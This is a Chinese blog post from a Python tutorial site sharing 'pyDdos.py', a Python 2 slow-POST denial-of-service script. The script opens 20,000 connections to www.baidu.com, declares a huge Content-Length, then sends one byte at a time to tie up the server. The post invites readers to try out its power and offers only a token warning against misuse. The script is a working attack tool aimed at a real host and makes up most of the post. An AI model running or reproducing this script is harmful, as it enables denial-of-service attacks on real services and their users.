python版DDOS攻击脚本


Posted in Python onJune 12, 2019

本文实例为大家分享了python版DDOS攻击脚本,供大家参考,具体内容如下

于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了。

附上源码pyDdos.py:

#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------
 
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
 global socks
 for i in range(0,MAX_CONN):
 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 try:
 s.connect((HOST,PORT))
 s.send(buf)
 print "Send buf OK!,conn=%d\n"%i
 socks.append(s)
 except Exception,ex:
 print "Could not connect to server or send error:%s"%ex
 time.sleep(10)
#end def
 
def send_thread():
 global socks
 while True:
 for s in socks:
 try:
 s.send("f")
 #print "send OK!"
 except Exception,ex:
 print "Send Exception:%s\n"%ex
 socks.remove(s)
 s.close()
 time.sleep(1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

OK,大家可以简单测试下这个脚本的威力,不过希望大家不要用来做坏事儿,同时,稍后我会去找一个python版本的防DDOS攻击的脚本,所谓学习攻击的方式是为了更好的抵御攻击。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python SQLite3数据库操作类分享
Jun 10 Python
在Python程序中操作文件之isatty()方法的使用教程
May 24 Python
python snownlp情感分析简易demo(分享)
Jun 04 Python
Python基于辗转相除法求解最大公约数的方法示例
Apr 04 Python
Python学习笔记之文件的读写操作实例分析
Aug 07 Python
python3调用windows dos命令的例子
Aug 14 Python
pytorch: Parameter 的数据结构实例
Dec 31 Python
Python3标准库之threading进程中管理并发操作方法
Mar 30 Python
matplotlib 曲线图 和 折线图 plt.plot()实例
Apr 17 Python
使用Keras加载含有自定义层或函数的模型操作
Jun 10 Python
Python爬虫入门教程02之笔趣阁小说爬取
Jan 24 Python
pandas求平均数和中位数的方法实例
Aug 04 Python
selenium处理元素定位点击无效问题
Jun 12 #Python
selenium跳过webdriver检测并模拟登录淘宝
Jun 12 #Python
python3.4 将16进制转成字符串的实例
Jun 12 #Python
python binascii 进制转换实例
Jun 12 #Python
Python3 实现串口两进程同时读写
Jun 12 #Python
详解pyppeteer(python版puppeteer)基本使用
Jun 12 #Python
python实战串口助手_解决8串口多个发送的问题
Jun 12 #Python
You might like
《Re:从零开始的异世界生活》剧情体验,手游新作定名
2020/04/09 日漫
php4的session功能评述(三)
2006/10/09 PHP
探讨Hessian在PHP中的使用分析
2013/06/13 PHP
PHP实现利用MySQL保存session的方法
2014/08/23 PHP
javascript 实用的文字链提示框效果
2010/06/30 Javascript
node.js中的console.assert方法使用说明
2014/12/10 Javascript
JavaScript中消除闭包的一般方法介绍
2015/03/16 Javascript
jquery实现两个图片渐变切换效果的方法
2015/06/25 Javascript
jQuery带时间的日期控件代码分享
2015/08/26 Javascript
jQuery焦点图轮播特效代码分享(3款)
2015/09/05 Javascript
全面详细的jQuery常见开发技巧手册
2016/02/21 Javascript
jQuery flip插件实现的翻牌效果示例【附demo源码下载】
2016/09/20 Javascript
js HTML5多媒体影音播放
2016/10/17 Javascript
vue.js利用defineProperty实现数据的双向绑定
2017/04/28 Javascript
JS中关于正则的巧妙操作
2017/08/31 Javascript
使用Sonarqube扫描Javascript代码的示例
2018/12/26 Javascript
JS数组中对象去重操作示例
2019/06/04 Javascript
js前端如何写一个精确的倒计时代码
2019/10/25 Javascript
[50:02]完美世界DOTA2联赛循环赛 Magma vs IO BO2第一场 11.01
2020/11/02 DOTA
python版本坑:md5例子(python2与python3中md5区别)
2017/06/20 Python
python使用tornado实现登录和登出
2018/07/28 Python
python 实现对文件夹中的图像连续重命名方法
2018/10/25 Python
python简单实现AES加密和解密
2019/03/28 Python
python安装gdal的两种方法
2019/10/29 Python
Python Tkinter Entry和Text的添加与使用详解
2020/03/04 Python
django model通过字典更新数据实例
2020/04/01 Python
Ellos丹麦:时尚和服装在线
2016/09/19 全球购物
Linux的文件类型
2012/03/07 面试题
介绍一下Python中webbrowser的用法
2013/05/07 面试题
餐厅销售主管职责范本
2014/02/19 职场文书
舞蹈教育学专业自荐信
2014/06/15 职场文书
世博会口号
2014/06/20 职场文书
我们的节日中秋活动方案
2014/08/19 职场文书
2014年食堂工作总结
2014/11/20 职场文书
2015庆祝七一建党节94周年活动总结
2015/03/20 职场文书
2015年人民调解工作总结
2015/05/18 职场文书